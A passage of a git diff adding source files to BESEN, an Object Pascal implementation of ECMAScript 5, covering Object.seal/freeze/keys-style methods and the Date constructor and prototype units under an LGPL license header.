+ Props.GarbageCollectorLock; + try + Count:=0; + Enumerator:=Props.Enumerator(true,false); + Enumerator.Reset; + while Enumerator.GetNext(Key) do begin + if Count>=length(Names) then begin + SetLength(Names,Count+256); + end; + if Count>=length(Descriptors) then begin + SetLength(Descriptors,Count+256); + end; + Names[Count]:=Key; + Props.Get(Key,v); + TBESEN(Instance).ToPropertyDescriptor(v,Descriptors[Count]); + inc(Count); + end; + for i:=0 to Count-1 do begin + TBESENObject(Arguments^[0]^.Obj).DefineOwnProperty(Names[i],Descriptors[i],true); + end; + finally + Props.GarbageCollectorUnlock; + end; + finally + BESENFreeAndNil(Enumerator); + SetLength(Names,0); + SetLength(Descriptors,0); + end; + ResultValue:=Arguments^[0]^; +end; + + +procedure TBESENObjectConstructor.NativeSeal(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Descriptor:TBESENObjectPropertyDescriptor; + Enumerator:TBESENObjectPropertyEnumerator; + Key:TBESENString; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj)) then begin + raise EBESENTypeError.Create('No object'); + end; + Enumerator:=nil; + Key:=''; + try + Enumerator:=TBESENObject(Arguments^[0]^.Obj).Enumerator(true,true); + Enumerator.Reset; + while Enumerator.GetNext(Key) do begin + TBESENObject(Arguments^[0]^.Obj).GetOwnProperty(Key,Descriptor); + Descriptor.Attributes:=Descriptor.Attributes-[bopaCONFIGURABLE]; + TBESENObject(Arguments^[0]^.Obj).DefineOwnProperty(Key,Descriptor,true); + end; + finally + BESENFreeAndNil(Enumerator); + end; + TBESENObject(Arguments^[0]^.Obj).Extensible:=false; + BESENCopyValue(ResultValue,Arguments^[0]^); +end; + +procedure TBESENObjectConstructor.NativeFreeze(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Descriptor:TBESENObjectPropertyDescriptor; + Enumerator:TBESENObjectPropertyEnumerator; + Key:TBESENString; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(TBESENObject(Arguments^[0]^.Obj))) then begin + raise EBESENTypeError.Create('No object'); + end; + Enumerator:=nil; + Key:=''; + try + Enumerator:=TBESENObject(Arguments^[0]^.Obj).Enumerator(true,true); + Enumerator.Reset; + while Enumerator.GetNext(Key) do begin + TBESENObject(Arguments^[0]^.Obj).GetOwnProperty(Key,Descriptor); + if ([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[] then begin + Descriptor.Attributes:=Descriptor.Attributes-[bopaWRITABLE]; + end; + Descriptor.Attributes:=Descriptor.Attributes-[bopaCONFIGURABLE]; + TBESENObject(Arguments^[0]^.Obj).DefineOwnProperty(Key,Descriptor,true); + end; + finally + BESENFreeAndNil(Enumerator); + end; + TBESENObject(Arguments^[0]^.Obj).Extensible:=false; + BESENCopyValue(ResultValue,Arguments^[0]^); +end; + +procedure TBESENObjectConstructor.NativePreventExtensions(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(TBESENObject(Arguments^[0]^.Obj))) then begin + raise EBESENTypeError.Create('No object'); + end; + TBESENObject(Arguments^[0]^.Obj).Extensible:=false; + BESENCopyValue(ResultValue,Arguments^[0]^); +end; + +procedure TBESENObjectConstructor.NativeIsSealed(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Descriptor:TBESENObjectPropertyDescriptor; + Enumerator:TBESENObjectPropertyEnumerator; + Key:TBESENString; + IsSealed:boolean; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(TBESENObject(Arguments^[0]^.Obj))) then begin + raise EBESENTypeError.Create('No object'); + end; + IsSealed:=true; + Enumerator:=nil; + Key:=''; + try + Enumerator:=TBESENObject(Arguments^[0]^.Obj).Enumerator(true,true); + Enumerator.Reset; + while Enumerator.GetNext(Key) do begin + TBESENObject(Arguments^[0]^.Obj).GetOwnProperty(Key,Descriptor); + if (boppCONFIGURABLE In Descriptor.Presents) and (bopaCONFIGURABLE In Descriptor.Attributes) then begin + IsSealed:=false; + break; + end; + end; + finally + BESENFreeAndNil(Enumerator); + end; + if TBESENObject(Arguments^[0]^.Obj).Extensible then begin + IsSealed:=false; + end; + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=IsSealed; +end; + +procedure TBESENObjectConstructor.NativeIsFrozen(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Descriptor:TBESENObjectPropertyDescriptor; + Enumerator:TBESENObjectPropertyEnumerator; + Key:TBESENString; + IsFrozen:boolean; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(TBESENObject(Arguments^[0]^.Obj))) then begin + raise EBESENTypeError.Create('No object'); + end; + IsFrozen:=true; + Enumerator:=nil; + Key:=''; + try + Enumerator:=TBESENObject(Arguments^[0]^.Obj).Enumerator(true,true); + Enumerator.Reset; + while Enumerator.GetNext(Key) do begin + TBESENObject(Arguments^[0]^.Obj).GetOwnProperty(Key,Descriptor); + if ((([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[]) and ((boppWRITABLE In Descriptor.Presents) and (bopaWRITABLE In Descriptor.Attributes))) or + ((boppCONFIGURABLE In Descriptor.Presents) and (bopaCONFIGURABLE In Descriptor.Attributes)) then begin + IsFrozen:=false; + break; + end; + end; + finally + BESENFreeAndNil(Enumerator); + end; + if TBESENObject(Arguments^[0]^.Obj).Extensible then begin + IsFrozen:=false; + end; + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=IsFrozen; +end; + +procedure TBESENObjectConstructor.NativeIsExtensible(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(TBESENObject(Arguments^[0]^.Obj))) then begin + raise EBESENTypeError.Create('No object'); + end; + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=TBESENObject(Arguments^[0]^.Obj).Extensible; +end; + +procedure TBESENObjectConstructor.NativeKeys(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ArrayObject:TBESENObjectArray; + Enumerator:TBESENObjectPropertyEnumerator; + Key:TBESENString; + Index:longword; +begin + if not ((CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(TBESENObject(Arguments^[0]^.Obj))) then begin + raise EBESENTypeError.Create('No object'); + end; + ArrayObject:=TBESENObjectArray.Create(Instance,TBESEN(Instance).ObjectArrayPrototype,false); + TBESEN(Instance).GarbageCollector.Add(ArrayObject); + ArrayObject.GarbageCollectorLock; + try + Index:=0; + Enumerator:=nil; + Key:=''; + try + Enumerator:=TBESENObject(Arguments^[0]^.Obj).Enumerator(true,false); + Enumerator.Reset; + while Enumerator.GetNext(Key) do begin + ArrayObject.DefineOwnProperty(BESENArrayIndexToStr(Index),BESENDataPropertyDescriptor(BESENStringValue(Key),[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]),false); + inc(Index); + end; + finally + BESENFreeAndNil(Enumerator); + end; + ArrayObject.Len:=Index; + finally + ArrayObject.GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(ArrayObject); +end; + +end. diff --git a/Core/JS/BESENObjectDate.pas b/Core/JS/BESENObjectDate.pas new file mode 100644 index 0000000..6c8a26d --- /dev/null +++ b/Core/JS/BESENObjectDate.pas @@ -0,0 +1,95 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectDate; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectDate=class(TBESENObject) + public + Value:TBESENDate; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure DefaultValue(const AHint:TBESENValue;var AResult:TBESENValue); override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENObjectDate.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Date'; + ObjectName:=''; + + Value:=Now; +end; + +destructor TBESENObjectDate.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectDate.DefaultValue(const AHint:TBESENValue;var AResult:TBESENValue); +begin + case AHint.ValueType of + bvtNUMBER,bvtSTRING:begin + inherited DefaultValue(AHint,AResult); + end; + bvtOBJECT:begin + if AHint.Obj<>TBESEN(Instance).ObjectNumberConstructor then begin + inherited DefaultValue(TBESEN(Instance).ObjectStringConstructorValue,AResult); + end else begin + inherited DefaultValue(AHint,AResult); + end; + end; + else begin + inherited DefaultValue(TBESEN(Instance).ObjectStringConstructorValue,AResult); + end; + end; +end; + +procedure TBESENObjectDate.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectDate.Mark; +begin + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectDateConstructor.pas b/Core/JS/BESENObjectDateConstructor.pas new file mode 100644 index 0000000..6b9109c --- /dev/null +++ b/Core/JS/BESENObjectDateConstructor.pas @@ -0,0 +1,231 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectDateConstructor; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectDateConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + procedure NativeNow(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeParse(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeUTC(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors,BESENASTNodes,BESENStringUtils,BESENUtils,BESENObjectDate,BESENDateUtils,BESENNumberUtils,BESENLocale; + +constructor TBESENObjectDateConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='Date'; + + RegisterNativeFunction('now',NativeNow,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('parse',NativeParse,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('UTC',NativeUTC,7,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectDateConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectDateConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectDate; + r3:TBESENValue; + s:TBESENString; + year,month,date,hours,minutes,seconds,ms:TBESENNumber; +begin + r3:=BESENEmptyValue; + r1:=TBESENObjectDate.Create(Instance,TBESEN(Instance).ObjectDatePrototype,false); + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + if CountArguments=0 then begin + r1.Value:=BESENTimeClip(BESENDateTimeToBESENDate(BESENGetUTCDateTime)); + end else if CountArguments=1 then begin + TBESEN(Instance).ToPrimitiveValue(Arguments^[0]^,TBESEN(Instance).ObjectNumberConstructorValue,r3); + if r3.ValueType<>bvtSTRING then begin + r1.Value:=BESENTimeClip(TBESEN(Instance).ToNum(r3)); + end else begin + s:=TBESEN(Instance).ToStr(r3); + r1.Value:=BESENParseTime(s); + if BESENIsNaN(r1.Value) then begin + r1.Value:=BESENParseISOTime(s); + if BESENIsNaN(r1.Value) then begin + r1.Value:=BESENParseNetscapeTime(s); + if BESENIsNaN(r1.Value) then begin + try + r1.Value:=BESENTimeClip(BESENDateTimeToBESENDate(BESENLocalDateTimeToUTC(StrToDateTime(s{$if ((FPC_VERSION>=3) or ((FPC_VERSION>=2) and ((FPC_RELEASE>=5) or ((FPC_RELEASE>=4) and (FPC_PATCH>=1)))))},BESENLocaleFormatSettings{$ifend})))); + except + r1.Value:=double(pointer(@BESENDoubleNaN)^); + end; + end; + end; + end; + end; + end else if CountArguments>1 then begin + year:=TBESEN(Instance).ToNum(Arguments^[0]^); + month:=TBESEN(Instance).ToNum(Arguments^[1]^); + date:=1; + hours:=0; + minutes:=0; + seconds:=0; + ms:=0; + if CountArguments>2 then begin + date:=TBESEN(Instance).ToNum(Arguments^[2]^); + if CountArguments>3 then begin + hours:=TBESEN(Instance).ToNum(Arguments^[3]^); + if CountArguments>4 then begin + minutes:=TBESEN(Instance).ToNum(Arguments^[4]^); + if CountArguments>5 then begin + seconds:=TBESEN(Instance).ToNum(Arguments^[5]^); + if CountArguments>6 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[6]^); + end; + end; + end; + end; + end; + r1.Value:=BESENTimeClip(BESENMakeDate(BESENMakeDay(Year,Month,Date),BESENMakeTime(Hours,Minutes,Seconds,ms))); + end; + finally + r1.GarbageCollectorUnlock; + end; + AResult:=BESENObjectValue(r1); +end; + +procedure TBESENObjectDateConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var Value:TBESENDate; +begin + Value:=BESENTimeClip(BESENGetUTCBESENDate); + if BESENIsNaN(Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + AResult:=BESENStringValue('Invalid Date'); + end else begin + AResult:=BESENStringValue('NaN'); + end; + end else begin + AResult:=BESENStringValue(BESENFormatDateTime('ddd mmm dd yyyy hh:nn:ss',BESENUTCToLocalDateTime(BESENDateToDateTime(Value)),BESENDefaultFormatSettings)+' GMT'+BESENGetDateTimeOffsetString(BESENGetLocalDateTimeZone)); + end; +end; + +procedure TBESENObjectDateConstructor.NativeNow(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue:=BESENNumberValue(BESENGetUTCBESENDate); +end; + +procedure TBESENObjectDateConstructor.NativeParse(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENNumber; + s:TBESENString; +begin + try + if CountArguments>0 then begin + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + v:=BESENParseTime(s); + if BESENIsNaN(v) then begin + v:=BESENParseISOTime(s); + if BESENIsNaN(v) then begin + v:=BESENParseNetscapeTime(s); + if BESENIsNaN(v) then begin + try + v:=BESENTimeClip(BESENDateTimeToBESENDate(BESENLocalDateTimeToUTC(StrToDateTime(s{$if ((FPC_VERSION>=3) or ((FPC_VERSION>=2) and ((FPC_RELEASE>=5) or ((FPC_RELEASE>=4) and (FPC_PATCH>=1)))))},BESENLocaleFormatSettings{$ifend})))); + except + v:=double(pointer(@BESENDoubleNaN)^); + end; + end; + end; + end; + ResultValue:=BESENNumberValue(v); + end else begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end; + finally + end; +end; + +procedure TBESENObjectDateConstructor.NativeUTC(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var year,month,date,hours,minutes,seconds,ms:TBESENNumber; +begin + try + if CountArguments>1 then begin + year:=TBESEN(Instance).ToNum(Arguments^[0]^); + month:=TBESEN(Instance).ToNum(Arguments^[1]^); + date:=1; + hours:=0; + minutes:=0; + seconds:=0; + ms:=0; + if CountArguments>2 then begin + date:=TBESEN(Instance).ToNum(Arguments^[2]^); + if CountArguments>3 then begin + hours:=TBESEN(Instance).ToNum(Arguments^[3]^); + if CountArguments>4 then begin + minutes:=TBESEN(Instance).ToNum(Arguments^[4]^); + if CountArguments>5 then begin + seconds:=TBESEN(Instance).ToNum(Arguments^[5]^); + if CountArguments>6 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[6]^); + end; + end; + end; + end; + end; + ResultValue:=BESENNumberValue(BESENTimeClip(BESENMakeDate(BESENMakeDay(Year,Month,Date),BESENMakeTime(Hours,Minutes,Seconds,ms)))); + end else begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end; + finally + end; +end; + +function TBESENObjectDateConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectDateConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectDatePrototype.pas b/Core/JS/BESENObjectDatePrototype.pas new file mode 100644 index 0000000..15a5781 --- /dev/null +++ b/Core/JS/BESENObjectDatePrototype.pas @@ -0,0 +1,1082 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectDatePrototype; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectDate,BESENValue,BESENObjectPropertyDescriptor, + BESENRegExp; + +type TBESENObjectDatePrototype=class(TBESENObjectDate) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToDateString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToTimeString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleDateString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleTimeString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToUTCString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetTime(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetDay(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCDay(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetUTCMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetTimezoneOffset(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetTime(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetUTCFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToGMTString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToISOString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToJSON(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeGetYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeSetYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors,BESENNumberUtils,BESENArrayUtils,BESENDateUtils,BESENLocale; + +constructor TBESENObjectDatePrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Date'; + ObjectName:='Date'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toDateString',NativeToDateString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toTimeString',NativeToTimeString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleString',NativeToLocaleString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleDateString',NativeToLocaleDateString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleTimeString',NativeToLocaleTimeString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toUTCString',NativeToUTCString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('valueOf',NativeValueOf,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getTime',NativeGetTime,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getFullYear',NativeGetFullYear,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCFullYear',NativeGetUTCFullYear,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getMonth',NativeGetMonth,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCMonth',NativeGetUTCMonth,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getDate',NativeGetDate,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCDate',NativeGetUTCDate,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getDay',NativeGetDay,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCDay',NativeGetUTCDay,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getHours',NativeGetHours,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCHours',NativeGetUTCHours,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getMinutes',NativeGetMinutes,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCMinutes',NativeGetUTCMinutes,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getSeconds',NativeGetSeconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCSeconds',NativeGetUTCSeconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getMilliseconds',NativeGetMilliseconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getUTCMilliseconds',NativeGetUTCMilliseconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getTimezoneOffset',NativeGetTimezoneOffset,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + 